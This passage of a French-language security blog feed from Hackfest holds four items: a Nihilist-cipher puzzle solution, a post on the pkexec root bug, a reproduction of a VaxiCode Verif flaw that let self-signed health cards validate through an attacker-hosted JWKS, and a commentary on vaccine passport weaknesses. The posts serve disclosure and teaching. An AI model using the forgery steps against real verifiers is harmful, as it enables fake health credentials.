tests à faire.</p>

<p>Ça fait beaucoup de chemins à explorer, il faut donc réduire encore plus
cet espace d’exploration en faisant plusieurs suppositions.</p>

<h2 id="suppositions">Suppositions</h2>

<p>Pour débuter, on fera les suppositions suivantes:</p>

<ol>
  <li>
    <p>La clé de surchiffrement est un mot. Probablement relié au podcast.</p>
  </li>
  <li>
    <p>Le carré de Polybe utilisé est un des quelques carrés les plus
connus (avec les lettres de l’alphabet pratiquement dans l’ordre).</p>
  </li>
  <li>
    <p>La langue utilisée pour la clé et le message original est soit le
français ou l’anglais.</p>
  </li>
  <li>
    <p>L’algorithme des Nihilistes utilisé pour chiffer le message n’a pas
été modifié pour compliquer le déchiffrement.</p>
  </li>
</ol>

<h2 id="trouver-la-clé-de-surchiffrement">Trouver la clé de surchiffrement</h2>

<p>Fort de ces suppositions, on peut enfin s’attaquer à la clé de
surchiffrement. On présume que le carré de Polybe le plus commun, où on
omet la lettre "J", a été utilisé (Table 10). Encoder le message avec ce carré
impliquerait l’utilisation des lettres de la Table 11 pour chiffrer la clé.</p>

<p>Table 10 : Carré de Polybe présumément utilisé.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>         1       2       3       4       5
 1       A       B       C       D       E
 2       F       G       H       I       K
 3       L       M       N       O       P
 4       Q       R       S       T       U
 5       V       W       X       Y       Z
</code></pre></div></div>

<p>Table 11 : Lettres possibles pour la clé.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 1       2       3       4       5       6       7       8       9      10
 S       C       C       U       Q       T       I       A       A       L
 T       D       D               R       U       K       B       B       M
 U       E       E                       Y       O       C       F       Q
 X               H                       Z       P       D       G       R
 Y               I                               T                       V
 Z               K                               U                       W
</code></pre></div></div>

<p>Les 10 lettres les plus communes dans les mots français sont e, a, i, s,
n, r, t, o, l, u alors qu’en anglais il s’agit de e, t, a, o, i, n, s,
h, r, d. Ne conservons pour l’instant que les lettres les plus communes
pour les deux langues. En faisant ceci, on se rend presque immédiatement
compte, si on a déjà joué au scrabble ou fait des mots cachés, qu’on a
presque le mot SECURITÉ ou encore SECURITY (Table 12). Ce n’est très
certainement pas un hasard.</p>

<p>Table 12 : Lettres possibles épurées.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> 1       2       3       4       5       6       7       8       9       10
 S               C       U               T       I       A       A       L
 T       D       D               R       U                            
 U       E       E                               O                    
                 H                                       D               R
                 I                               T                    
                                                 U                    
</code></pre></div></div>

<p>Une bonne façon de vérifier si on est sur la bonne voie est d’utiliser
cette clé de surchiffrement partielle pour décoder le message.
L’utilisation de <a href="https://www.dcode.fr/">dCode</a> accélère grandement ce
genre de test puisqu’il permet de modifier rapidement soit le carré de
Polybe, soit la clé. Comme il nous manque quelques lettres à la clé pour
former un mot, on va les remplacer arbitrairement par la première lettre
de chaque colonne. On obtient la clé <em>SECURTTAAL</em>. En utilisant celle-ci
et la Table 10 pour tenter de déchiffrer le message on obtient
<em>PRZVAZEDKYZSNOTGPOGMZCKEX</em>.</p>

<p>On remarque un petit mot anglais et quelques bigrammes communs en
anglais dans le message partiellement décodé:<br />
<strong>PR</strong>Z<strong>VA</strong>ZEDKYZS<strong>NOT</strong>GPOGMZC<strong>KE</strong>X.</p>

<p>C’est un grand pas puisqu’on a identifié la langue du message original.
De plus, il y a plus de lettres "Z" qu’il ne faudrait dans ce message,
ce qui laisse croire qu’il y a un problème avec le carré de Polybe
utilisé. En consultant la liste des 10 lettres les plus communes en
anglais on remarque que le "I", la cinquième lettre la plus utilisée
dans cette langue, n’apparait jamais alors que le "Z" apparait à
quatre reprises. Si on inverse les positions du "I" et du "Z" dans
le carré de Polybe et qu’on tente à nouveau de décoder le message on
obtient un message partiellement décodé avec encore plus de mots et mots
partiels <strong>PRIVA</strong>I<strong>E</strong>DKY<strong>ISNOT</strong>GPOGMIC<strong>KE</strong>X.</p>

<p>À ce point, il est beaucoup plus facile d’essayer quelques autres clés
que de tenter de modifier le carré de Polybe. En essayant avec les clés
SECURITEAL et SECURITYAL on obtient:\</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> SECURITEAL: PRIVATE?KYISNOTAP?GMICKEX
 SECURITYAL: PRIVATE?BIUYNNTQC?BHKVMVI?
</code></pre></div></div>

<p>La première tentative de clé, avec le mot en français, est clairement
mieux même si deux lettres sont impossibles à décoder avec le carré de
Polybe utilisé. Pour les deux dernières lettres de la clé, on peut soit
utiliser la force brute et tester toutes les combinaisons possibles ou
se souvenir (grâce à notre mini OSINT) que le site internet du podcast
est <a href="https://securite.fm/">securite.fm</a>.</p>

<p>Avec la clé de surchiffrement "SECURITEFM", on décode le message
<em>PRIVATE?EXISNOTAP?BLICKEX</em> qu’on peut deviner être
"PRIVATEKEXISNOTAPUBLICKEY". Cependant, le message n’est pas
totalement décodable avec cette clé. On peut facilement améliorer la
situation en inversant les lettres "X" et "Y" dans le carré de
Polybe pour obtenir la Table 13.</p>

<p>Table 13 : Carré de Polybe final.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>         1       2       3       4       5
 1       A       B       C       D       E
 2       F       G       H       Z       K
 3       L       M       N       O       P
 4       Q       R       S       T       U
 5       V       W       Y       X       I
</code></pre></div></div>

<p>Avec cette clé et ce carré de Polybe, deux nombres dans notre séquence
de chiffres initiale ne peuvent être décodés 78 57 68 96 53 99 59 <strong>25</strong>
36 85 98 58 46 79 86 66 79 <strong>45</strong> 33 63 98 28 38 60 95. Ils
correspondent aux lettres aux positions 8 et 18 du message. Avec la clé
de surchiffrement actuelle, le nombre 25 devrait être 10 puisqu’on
devrait soustraire 15 (à cause du "E") et le nombre 45 devrait être
30, pour la même raison.</p>

<p>Or 10 et 30 ne peuvent être obtenus avec la clé et le carré de Polybe
trouvés. Cependant, les nombres 25 et 45 correspondent aux lettres
manquantes "K" et "U". Ces deux lettres n’ont tout simplement pas
été surchiffrées avec la clé! Il s’agit soit d’une erreur involontaire
ou d’une tentative de rendre le déchiffrement du message plus difficile.
Au final, tous seront d’accord avec le message secret: "private key is
not a public key".</p>

<h1 id="solution-officielle">Solution officielle</h1>

<p>Après avoir validé le message secret avec les instances officielles de la French Connection. Les hautes autorités m’ont transmise la solution officielle que je vous communique. Un certain point dans celle-ci peut nous laisser perplexe :</p>

<ol>
  <li>Texte à encoder: PRIVATEKEYISNOTAPUBLICKEY</li>
  <li>Jeu de caractères de clé: ABCDEFGHIJKLMNOPQRSTUVVVXYZ  (w = VV)</li>
  <li>Clé: SECURITE.FM</li>
  <li>Encoder la réponse en hexa</li>
</ol>

<p>Le tout a été encodé à l’aide d’un outil non spécifié, utilisant très certainement le chiffre des Nihilistes. Le point délicat dans cette solution étant bien évidement le point «.» entre SECURITE et FM. Il n’apparait nulle part dans les caractères utilisés dans le chiffre. Pourtant, l’outil utilisé a bien chiffré le message. Cette clé non conventionnelle explique probablement pourquoi deux lettres n’étaient pas encodées tel qu’attendu.</p>

<p>Ceci illustre la difficulté de déchiffrer un message encodé avec un algorithme et des outils inconnus. On n’est jamais à l’abris des surprises.</p>

<h1 id="références">Références</h1>

<ul>
  <li>
    <p><a href="https://www.dcode.fr/chiffre-nihiliste">https://www.dcode.fr/chiffre-nihiliste</a></p>
  </li>
  <li>
    <p><a href="https://gchq.github.io/CyberChef">https://gchq.github.io/CyberChef</a></p>
  </li>
  <li>
    <p><a href="https://alexbarter.com/cryptanalysis/breaking-nihilist-substitution-cipher/">https://alexbarter.com/cryptanalysis/breaking-nihilist-substitution-cipher/</a></p>
  </li>
  <li>
    <p><a href="http://www.crypto-it.net/eng/simple/nihilist.html">http://www.crypto-it.net/eng/simple/nihilist.html</a></p>
  </li>
  <li>
    <p><a href="http://www.benburlingham.com/core/articles/nihilist-cipher.html">http://www.benburlingham.com/core/articles/nihilist-cipher.html</a></p>
  </li>
</ul>

<p>(1) Ce travail est sujet à la licence WTFPL. Visitez
    <a href="http://www.wtfpl.net/">http://www.wtfpl.net/</a> pour une copie complète de cette licence.</p>

]]></content:encoded>
    </item>
    <item>
      <title>Une vulnérabilité de Linux vous permet de devenir &quot;Le King&quot;</title>
      <link>https://media.hackfest.ca/blog/vulnerabilite-linux-pkexec</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/vulnerabilite-linux-pkexec</guid>
      <pubDate>Fri, 28 Jan 2022 08:00:00 +0000</pubDate>
      <dc:creator>Jacques Sauvé</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Vulnérabilités</category>
      <category>Linux</category>
      <category>pkexec</category>
      <category>polkit</category>
      <category>privesc</category>
      <description>Je me suis réveillé ce matin avec un article très intéressant sur BleepingComputer : une nouvelle vulnérabilité a été divulguée qui affecte presque toutes les principales distributions Linux. Elle permet à n’importe quel utilisateur connecté d’élever facilement ses privilèges à ceux de root. Vraiment facilement !</description>
      <enclosure url="https://media.hackfest.ca/images/posts/masterlockrootpassword.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/masterlockrootpassword.webp" alt="Mot de pass R00t" /></p>

<p>Je me suis réveillé ce matin avec un article très intéressant sur BleepingComputer : une nouvelle vulnérabilité a été divulguée qui affecte presque toutes les principales distributions Linux. Elle permet à n’importe quel utilisateur connecté d’élever facilement ses privilèges à ceux de root. Vraiment facilement !</p>

<p>Le problème a été découvert par les chercheurs de Qualys en novembre 2021, et grâce à une “divulgation responsable”, les fournisseurs ont pu publier un correctif (notez que toutes les distributions n’ont pas été corrigées, comme vous le verrez plus tard). Le bogue se trouve dans le module “pkexec”, qui fait partie du “Policy Toolkit” (ou Polkit en abrégé) et qui traite les demandes d’exécution de commandes en tant qu’autre utilisateur, comme “su”.</p>

<p>Il s’avère qu’il est très simple de contourner pkexec et d’élever ses privilèges à ceux de root. Un exploit a été publié pas moins de 3 heures après que Qualys ait publié ses conclusions. Curieux de voir si ma VM Kali Linux était vulnérable, j’ai fait une recherche rapide sur Google pour le code montré dans l’article de BleepingComputer ; il apparaît littéralement en 0,39 secondes et est le premier lien - c’est de l’excellent référencement, ça !</p>

<p>Comme vous pouvez le voir dans la vidéo ci-dessous, j’ai compilé le code et l’ai exécuté, et comme de juste : j’étais root !</p>

<p>Curieux de voir si Kali avait publié des mises à jour pour ce programme (cette VM a été mise à jour pour la dernière fois il y a environ une semaine, car je garde mes systèmes très à jour), j’ai exécuté la mise à jour complète et essayé l’exploit à nouveau. Malheureusement, il fonctionnait toujours, car la version de pkexec était toujours 0.105, la même qu’avant les mises à jour.</p>

<p>Si le fournisseur de votre distribution Linux n’a pas encore mis à jour son module pkexec, une solution décrite dans l’article consiste simplement à retirer les droits de lecture/écriture du fichier en utilisant “chmod 0755 /usr/bin/pkexec”.</p>

<p>Cela n’est pas aussi grave que la récente vulnérabilité de Log4j, bien sûr, car il serait très improbable qu’un serveur Linux connecté soit exposé à Internet (n’est-ce pas ???), mais cela met tout de même vos systèmes en danger face à des menaces internes, ou peut-être même face à un attaquant extérieur qui effectue des mouvements latéraux au sein de votre réseau. Un risque potentiel est qu’une organisation fournisse des identifiants de connexion à des techniciens informatiques pour exécuter des tâches simples sans nécessairement leur donner un accès root ; cet exploit leur permet d’élever très simplement leurs privilèges et de causer potentiellement des dommages.</p>

<iframe width="560" height="315" src="https://www.youtube.com/embed/I9jICFaL-G8" title="YouTube video player" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen=""></iframe>

<p>Crédit photo: <a href="https://www.flickr.com/photos/schill/">schill</a> - <a href="https://creativecommons.org/licenses/by/2.0/">licence CC BY</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Analyse d&apos;une vulnérabilité de l&apos;application VaxiCode Verif</title>
      <link>https://media.hackfest.ca/blog/analyse-vulnerabilite-app-vaxicode-verif</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/analyse-vulnerabilite-app-vaxicode-verif</guid>
      <pubDate>Tue, 31 Aug 2021 16:30:00 +0000</pubDate>
      <dc:creator>Collaborateur anonyme</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Vulnérabilités</category>
      <category>VaxiCode</category>
      <category>JWS</category>
      <category>code QR</category>
      <category>santé</category>
      <description>L’application VaciCode Verif récemment lancée par le gouvermement du Québec a fait l’objet d’une divulgation de vulnérabilité permettant de valider des codes factices. Voici notre analyse.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/vaxicode-featured.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/vaxicode-featured.webp" alt="Un faux VaxiCode" /></p>

<h2 id="comprendre-les-smart-health-cards">Comprendre les SMART Health Cards</h2>

<p>La <a href="https://spec.smarthealth.cards">SMART Health Card (SHC)</a>, contenant les informations enregistrées dans votre code QR, est basée sur une technologie éprouvée connue sous le nom de JSON Web Signature (<a href="https://fr.wikipedia.org/wiki/JSON_Web_Signature">explicatif</a>, <a href="https://datatracker.ietf.org/doc/html/rfc7515">spécification JWS</a>).</p>

<p>Les JWS permettent, entre autres, la signature cryptographique de données arbitraires (le payload), ainsi que leur vérification à l’aide d’informations (les entêtes) contenues à même ces données, soit la clé publique et la méthode de signature.</p>

<p>Cette même technologie est utilisée pour bâtir d’autres technologies telles que JSON Web Token, la suite de spécifications Open ID, et autres, qui sont très fréquemment utilisés pour enregistrer des données hors d’un environnement contrôlé tout en assurant la validité vérifiable de celles-ci. Par exemple, si vous utilisez fréquemment les services Google, cette même technologie est utilisée pour vous connecter à ceux-ci de manière sécuritaire.</p>

<p>Le concept de signature implique une clé privée et une clé publique. L’entité (le gouvernement du Québec) qui publie les données (le code QR représentant le SHC) utilise la clé privée pour signer celles-ci, et les applications qui les consomment utilisent la clé publique (l’app VaxiCode Verif) pour valider que ces données n’ont pas été modifiées par une personne malveillante. Sans entrer dans les détails, les données signées sont ensuite considérées comme sûres et vérifiables. Pour plus d’informations, nous vous invitons à consulter cet <a href="https://fr.wikipedia.org/wiki/Signature_numérique">article sur les signatures</a>.</p>

<p>Maintenant que nous savons que les données du SHC sont inviolables, que contient votre code QR? Celui-ci contient quelques informations, appelées <code class="language-plaintext highlighter-rouge">claims</code>.</p>

<p>Un premier claim, <code class="language-plaintext highlighter-rouge">iss</code> ou <em>issuer</em>, identifie l’entité qui publie ces données. Un autre, <code class="language-plaintext highlighter-rouge">iat</code> ou <em>issued at</em> indique la date où elles ont été publiées. Enfin, un claim nommé <code class="language-plaintext highlighter-rouge">vc</code> ou <em>verifiable credentials</em> contient les informations cruciales du SHC.</p>

<p>Sont présents dans ces dernières le type de données que le SHC contient (données d’immunisation, contexte COVID-19 et autres), et une liste d’entrées.</p>

<p>Une en particulier décrit le patient (vous) dont fait l’objet le SHC. Dans celle-ci, se trouvent <strong>uniquement</strong> votre prénom, nom de famille ainsi que votre date de naissance.</p>

<p>Ensuite, pour chaque dose de vaccin reçue, vous trouverez aussi les informations décrivant quel vaccin a été reçu, à quelle date et le nom de l’endroit où l’injection a été réalisée.</p>

<h2 id="la-vulnérabilité">La vulnérabilité</h2>

<p>Revenons maintenant à la problématique principale, soit la vulnérabilité contenue dans les version 1.0.1 et antérieures de l’app VaxiCode Verif.</p>

<p>Celle-ci permettrait à l’application de valider des codes qui n’ont pas été émis par le gouvernement du Québec. Par là, on entend qu’une personne serait en mesure d’émettre et signer elle-même un SHC, par ce fait réussissant à déjouer la vérification faite par l’application que les données qui y sont incluses sont bel et bien véridiques (signature) et cautionnées par la seule autorité ayant actuellement la capacité d’émettre les SHC (claim <code class="language-plaintext highlighter-rouge">iss</code>).</p>

<p>Cette vulnérabilité a été rendue publique en premier le vendredi 27 août 2021 dans <a href="https://ici.radio-canada.ca/nouvelle/1819589/passeport-vaccinal-faille-application-vaxicode">un article</a> de Radio-Canada.</p>

<h2 id="avenues-possibles-de-vulnérabilité">Avenues possibles de vulnérabilité</h2>

<p>Avant de valider la vulnérabilité de l’application de vérification, parcourons plusieurs problèmes communs dans l’implantation de validations de JWS et technologies similaires qui pourraient permettre un tel résultat.</p>

<p>La vulnérabilité ayant été trouvée moins de 24h après la sortie de l’application, il est peu probable que les failles soient le résultat d’opérations très compliquées. Commençons par ces quelques vérifications de base:</p>

<ol>
  <li>Les clés publiques sont bel et bien utilisées pour valider le contenu du JWS?</li>
  <li>La validation du claim <code class="language-plaintext highlighter-rouge">iss</code> se fait correctement?</li>
  <li>Les JWK externes sont-ils téléchargés et utilisés?</li>
  <li>Les clés sont-elles <em>bien</em> utilisées?</li>
  <li>Serait-ce possible que des modes de signature non sécuritaires soient permis (spécifiquement, <code class="language-plaintext highlighter-rouge">alg: "none"</code>)?</li>
</ol>

<h2 id="outils-utilisés">Outils utilisés</h2>

<p>Les outils communs suivants ont été utilisés pour la majorité des tests:</p>

<ul>
  <li><a href="https://github.com/http-party/http-server">http-server</a> pour servir des fichiers pendant les tests.</li>
  <li><a href="https://ngrok.com">ngrok</a> pour rendre le serveur disponible publiquement.</li>
  <li><a href="https://github.com/Path-Check/shc-sdk.js">@pathcheck/shc-sdk</a> pour facilement générer des SHC, JWKS et autres. Celle-ci utilise le package courant <a href="https://github.com/cisco/node-jose">node-jose</a>.</li>
  <li><a href="https://bramp.github.io/smart-health-card-scanner/">Smart Health Card Scanner</a> pour inspecter les SHC facilement.</li>
  <li>Une application de scan QR pour lire le contenu des codes QR.</li>
</ul>

<p>Pour valider <code class="language-plaintext highlighter-rouge">alg: "none"</code> ceux-ci ont été ajoutés à la liste:</p>

<ul>
  <li><a href="https://github.com/auth0/node-jwa">node-jwa</a> pour générer des JWS avec ce type d’algorithme.</li>
  <li><a href="https://datatracker.ietf.org/doc/html/rfc7518#section-8.5">pako</a> pour compresser le payload du JWS.</li>
</ul>

<h2 id="vérifications">Vérifications</h2>

<h3 id="utilisation-de-la-clé-publique-du-gouvernement-et-utilisation-du-claim-iss">Utilisation de la clé publique du gouvernement et utilisation du claim <code class="language-plaintext highlighter-rouge">iss</code></h3>

<p>Pour commencer, un QR existant a été scanné pour obtenir la chaine de caractères composant le SHC. Ce dernier a été ouvert dans le Smart Health Card Scanner pour rapidement visualiser son contenu.</p>

<p>Le contenu de celui-ci a été copié dans un script permettant de générer un nouveau SHC à l’aide de SHC-SDK, mais signé avec un JWK différent que celui de l’application. Le payload a été laissé identique.</p>

<p>Par la même occasion, on laisse le claim <code class="language-plaintext highlighter-rouge">iss</code> à l’identique pour valider que cela ne permet pas d’ignorer la validation de la signature.</p>

<p><strong>Résultat</strong>: VaxiCode Verif indique un message d’erreur: <em>Ce code QR n’est pas une preuve de vaccination valide</em>. On assume que la signature a bien été validée et que le claim <code class="language-plaintext highlighter-rouge">iss</code> ne permet pas de contourner celle-ci.</p>

<p><img src="https://media.hackfest.ca/images/posts/vaxicode-erreur-preuve-vaccination.webp" alt="Ce code QR n'est pas une preuve de vaccination valide" style="max-width: 320px" /></p>

<h3 id="les-jwk-externes">Les JWK externes</h3>

<p><a href="https://datatracker.ietf.org/doc/html/rfc7517">JWK est un format permettant l’échange de clés cryptographiques</a> qui est utilisé lors de la validation des signatures des SHC émis par le gouvernement. On parle de JWKS quand il s’agit d’un ensemble de clés (JSON Web Key Set).</p>

<p>Nous tentons d’importer un JWKS externe au chemin <code class="language-plaintext highlighter-rouge">.well-known/jwks.json</code>. Un serveur HTTP local très simple est mis en place derrière un tunnel pour le rendre disponible publiquement avec le protocole HTTPS. Le claim <code class="language-plaintext highlighter-rouge">iss</code> est changé pour le domaine du tunnel (pour référence, appelons le Serveur.Local). Un JWKS est lui aussi généré, puis placé dans le dossier <code class="language-plaintext highlighter-rouge">.well-known</code>, puis le SHC est généré est scanné. Le JWKS est donc accessible à l’adresse <code class="language-plaintext highlighter-rouge">https://Serveur.Local/.well-known/jwks.json</code>.</p>

<p><strong>Résultat</strong>: Le proxy indique avoir en effet reçu un appel à <code class="language-plaintext highlighter-rouge">GET /.well-known/jwks.json</code>. Au moment du scan, VaxiCode Verif indique une erreur: <em>Certifié par une autorité inconnue. Serveur.Local</em>. On assume que les JWK ont bien été importés. Cela est entièrement normal jusque là.</p>

<p><img src="https://media.hackfest.ca/images/posts/vaxicode-erreur-issuer.webp" alt="Certifié par une autorité inconnue. Serveur.Local" style="max-width: 320px" /></p>

<h3 id="usage-des-clés-publiques">Usage des clés publiques</h3>

<p>Nous tentons maintenant de voir si le JWK qui a été importé est uniquement utilisable par le issuer de celui-ci. Nous remettons le claim <code class="language-plaintext highlighter-rouge">iss</code> à sa valeur initiale (https://covid19.quebec.ca/PreuveVaccinaleApi/issuer) et générons un nouveau SHC, puis le scannons.</p>

<p><strong>Résultat</strong>: Le SHC est accepté comme véridique. <strong>Nous avons reproduit la vulnérabilité</strong>. Nous déduisons que le JWK qui a été importé à la dernière étape n’a pas été correctement marqué comme étant utilisable <strong>uniquement</strong> par le issuer Serveur.Local pour valider les signatures, et que le issuer https://covid19.quebec.ca/PreuveVaccinaleApi/issuer est maintenant capable de valider les signatures avec les clés de Serveur.Local, ce qui ne devrait jamais arriver.</p>

<p><img src="https://media.hackfest.ca/images/posts/vaxicode-preuve.webp" alt="SMART Health Card autorisé" style="max-width: 320px" /></p>

<h3 id="signatures-non-sécuritaires">Signatures non sécuritaires</h3>

<p>Un JWS conforme semblable au format SHC a aussi été créé et scanné, mais avec l’entête suivant:</p>

<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
  </span><span class="nl">"alg"</span><span class="p">:</span><span class="w"> </span><span class="s2">"none"</span><span class="p">,</span><span class="w">
  </span><span class="nl">"zip"</span><span class="p">:</span><span class="w"> </span><span class="s2">"DEF"</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">alg: "none"</code> indique au vérificateur de signature qu’il n’y a <a href="https://datatracker.ietf.org/doc/html/rfc7518#section-8.5">pas de signature à vérifier</a>.</p>

<p><strong>Résultat</strong>: L’app VaxiCode Verif est simplement incapable de reconnaitre un code QR de ce type. Pas de vulnérabilité ici.</p>

<h2 id="analyse">Analyse</h2>

<p>Le problème causant la vulnérabilité est mentionné dans la spécification des SHC. C’est la responsabilité du groupe développant une application faisant usage de la norme SHC d’y porter attention. Le problème est décrit directement:</p>

<ol>
  <li>dans la spécification SHC, sections <a href="https://spec.smarthealth.cards/#signing-health-cards">Signing Health Cards</a> et <a href="https://spec.smarthealth.cards/#determining-keys-associated-with-an-issuer">Determining keys associated with an issuer</a> ainsi que</li>
  <li>dans la spécification JWS, section <a href="https://datatracker.ietf.org/doc/html/rfc7515#section-10.3">Key Origin Authentication</a>, de laquelle <a href="https://spec.smarthealth.cards/#health-cards-are-encoded-as-compact-serialization-json-web-signatures-jws">cette première hérite</a>.</li>
</ol>

<p>“10.3.  Key Origin Authentication:
The key management technique employed to obtain public keys must authenticate the origin of the key; otherwise, it is unknown what party signed the message.”</p>

<p><a href="https://datatracker.ietf.org/doc/html/rfc7515#section-10.3">Extrait de la spécification JWS</a></p>

<p>En termes plus clair, il faut s’assurer que la signature ne soit vérifiée <strong>seulement</strong> qu’avec les clés provenant de l’issuer, mais l’implantation dans l’application VaxiCode Verif ne le faisait pas pour les versions &lt;=1.0.1.</p>

<h2 id="les-codes-qr-sont-ils-compromis">Les codes QR sont-ils compromis?</h2>

<p><strong>Non.</strong> Tel que mentionné, les code QR qui contiennent les informations SHC sont conformes à la spécification et sont entièrement sécuritaires.</p>

<p>Ici, la première partie du problème réside sur le fait que les clés utilisées pour vérifier les codes ne sont pas <strong>uniquement</strong> associées à leurs émetteurs respectifs. Il s’agit d’une omission regrettable, cependant (et heureusement), celle-ci est facile à régler.</p>

<p>De plus, l’application ne devrait valider que les émetteurs de confiance, ce qui semble être le cas, mais qui reste à vérifier suite à la correction.</p>

<h2 id="validation-de-la-correction">Validation de la correction</h2>

<p>Le dimanche 29 août 2021, une nouvelle version de VaxiCode Verif, 1.0.2, a été publiée sur le Apple App Store. Les changements sont décrits ainsi:</p>

<blockquote>
  <ul>
    <li>Amélioration du vérificateur de preuves</li>
    <li>Améliorations pour les écrans de plus petite taille</li>
    <li>Améliorations d’accessibilité</li>
  </ul>
</blockquote>

<p>Nous avons utilisé la même marche à suivre que celle décrite plus haut pour tenter de valider le correctif.</p>

<p><strong>Résultat</strong>: La vulnérabilité a bien été corrigéée, et nous ne sommes plus capables de l’exploiter.</p>

<p>Sans avoir accès au code de l’application, il est difficile de décrire exactement les correctifs effectués. Cependant, nous sommes tout de même en mesure de faire quelques observations. La plus importante concerne le fait que l’application ne télécharge plus les JWKS externes au chemin <code class="language-plaintext highlighter-rouge">/.well-known/jwks.json</code> de l’issuer, elle n’est alors plus en mesure de faire ni l’importation, ni la validation des signatures générées avec des clés autres que celle du gouvernement. De plus, le message d’erreur affiché dans ce cas n’est plus <em>Certifié par une autorité inconnue. Serveur.Local</em>, mais bien <em>Ce code QR n’est pas une preuve de vaccination valide</em>.</p>

<p><img src="https://media.hackfest.ca/images/posts/vaxicode-erreur-correction.webp" alt="Ce code QR n'est pas une preuve de vaccination valide" style="max-width: 320px" /></p>

]]></content:encoded>
    </item>
    <item>
      <title>Vulnérabilités et passeport vaccinal</title>
      <link>https://media.hackfest.ca/blog/vulnerabilite-passeport-vaccinal</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/vulnerabilite-passeport-vaccinal</guid>
      <pubDate>Fri, 27 Aug 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Vulnérabilités</category>
      <category>passeport vaccinal</category>
      <category>code QR</category>
      <category>santé</category>
      <description>Il devait faire chaud dans les bureaux du Ministère de la Santé et des Services sociaux (MSSS) vendredi matin. Après avoir martelé que l’utilisation du code QR comme preuve vaccinale était sécuritaire à 100%, voilà que deux failles sont rapportées dans les médias. Premièrement, des hackers ont démontré qu’il était possible de télécharger des preuves vaccinales qui ne nous sont pas destinées. Deuxièmement, un autre individu a démontré qu’il était possible de créer de faux code QR de toute pièce. En moins de 24 heures.</description>
      <enclosure url="https://media.hackfest.ca/images/posts/eff-dumpster-fire.webp" type="image/webp" length="0" />
      <content:encoded><![CDATA[<p><img src="https://media.hackfest.ca/images/posts/eff-dumpster-fire.webp" alt="Mots de passe visibles" /></p>

<p>Il devait faire chaud dans les bureaux du Ministère de la Santé et des Services sociaux (MSSS) vendredi matin.</p>

<p>Après avoir martelé que l’utilisation du code QR comme preuve vaccinale était sécuritaire à 100%, voilà que deux failles sont rapportées dans les médias.</p>

<p>Premièrement, des hackers ont démontré qu’il était possible de télécharger des preuves vaccinales qui ne nous sont pas destinées.</p>

<p>Deuxièmement, un autre individu a démontré qu’il était possible de créer de faux code QR de toute pièce.</p>

<p>En moins de 24 heures.</p>

<p>La réaction initiale du MSSS a été de diffuser un communiqué qui stipule que « des plaintes formelles ont déjà été déposées à la police. Les autorités compétentes feront enquête et détermineront si des accusations criminelles doivent être déposées. »</p>

<p>On comprend leur embarras. Cela fait des semaines que le Ministère nous dit que la solution envisagée est sécuritaire. Dans son communiqué, il persiste et signe. « Le MSSS réitère que le code QR est sécuritaire », peut-on y lire.</p>

<p>Pourtant, la preuve vaccinale était facile à télécharger. Il suffisait de connaître le nom et la date de naissance de la personne. Avec ces informations et quelques lignes de code, on peut déduire le numéro d’assurance maladie. Connaître la date d’administration et le manufacturier de la première dose du vaccin accélère le processus. Ces informations sont souvent faciles à trouver sur les réseaux sociaux.</p>

<p>Selon une source anonyme, certaines réponses renvoyées par le site facilitaient la tâche. « Si on a le bon [ numéro ] d’assurance maladie, ça nous dit si la date n’est pas bonne », nous a-t-il expliqué. De plus un autre message permet de savoir si on a fourni le mauvais nom de manufacturier.</p>

<p>Selon cette personne, on est « capable de faire beaucoup de requêtes et rien ne [ nous ] en empêche. »</p>

<p>Retourner des messages d’erreurs aussi utiles pour un hacker est une pratique à proscrire. Cela donne des indices et c’est la première chose qu’un chercheur en sécurité va regarder.</p>

<p>Une autre pratique de sécurité est de mettre en place des mesures pour empêcher la « force brute ». C’est-à-dire empêcher que l’on puisse essayer toutes les combinaisons possibles d’un numéro d’assurance maladie avant de trouver le bon.</p>

<p>Cela ne semble pas avoir été fait adéquatement.</p>

<p>Heureusement que ces deux failles ont été trouvées par des personnes ayant le bien commun en tête. Une personne peu scrupuleuse aurait pu vendre ses services de création de faux code QR. Une personne mal intentionnée aurait pu diffuser publiquement les preuves vaccinales.
Ce n’est pas ce qui s’est passé. Les hackers qui ont trouvé ces failles ont contacté des journalistes. Ils ont voulu que ces risques soient connus et pris au sérieux.</p>

<p>Au lieu d’appeler la police, on devrait peut-être songer à les remercier.</p>

<p>Il n’existe actuellement pas de mécanisme officiel pour qu’un ou une hacker ayant trouvé une vulnérabilité puisse la communiquer au gouvernement.</p>

<p>Ce serait une bonne idée de le mettre en place.</p>

<p>Ce serait plus utile que de répéter que tout va bien.</p>

<p>Crédit photo: <a href="https://www.flickr.com/photos/electronicfrontierfoundation/">EFF</a> - <a href="https://creativecommons.org/licenses/by/2.0/">licence CC BY</a></p>
]]></content:encoded>
    </item>
    <item>
      <title>Maux de passe</title>
      <link>https://media.hackfest.ca/blog/mot-de-passe-cisss</link>
      <guid isPermaLink="true">https://media.hackfest.ca/blog/mot-de-passe-cisss</guid>
      <pubDate>Thu, 19 Aug 2021 10:00:00 +0000</pubDate>
      <dc:creator>Sam Harper</dc:creator>
      <dc:language>fr-CA</dc:language>
      <category>Fuites &amp; vie privée</category>
      <category>mots de passe</category>
      <category>santé</category>
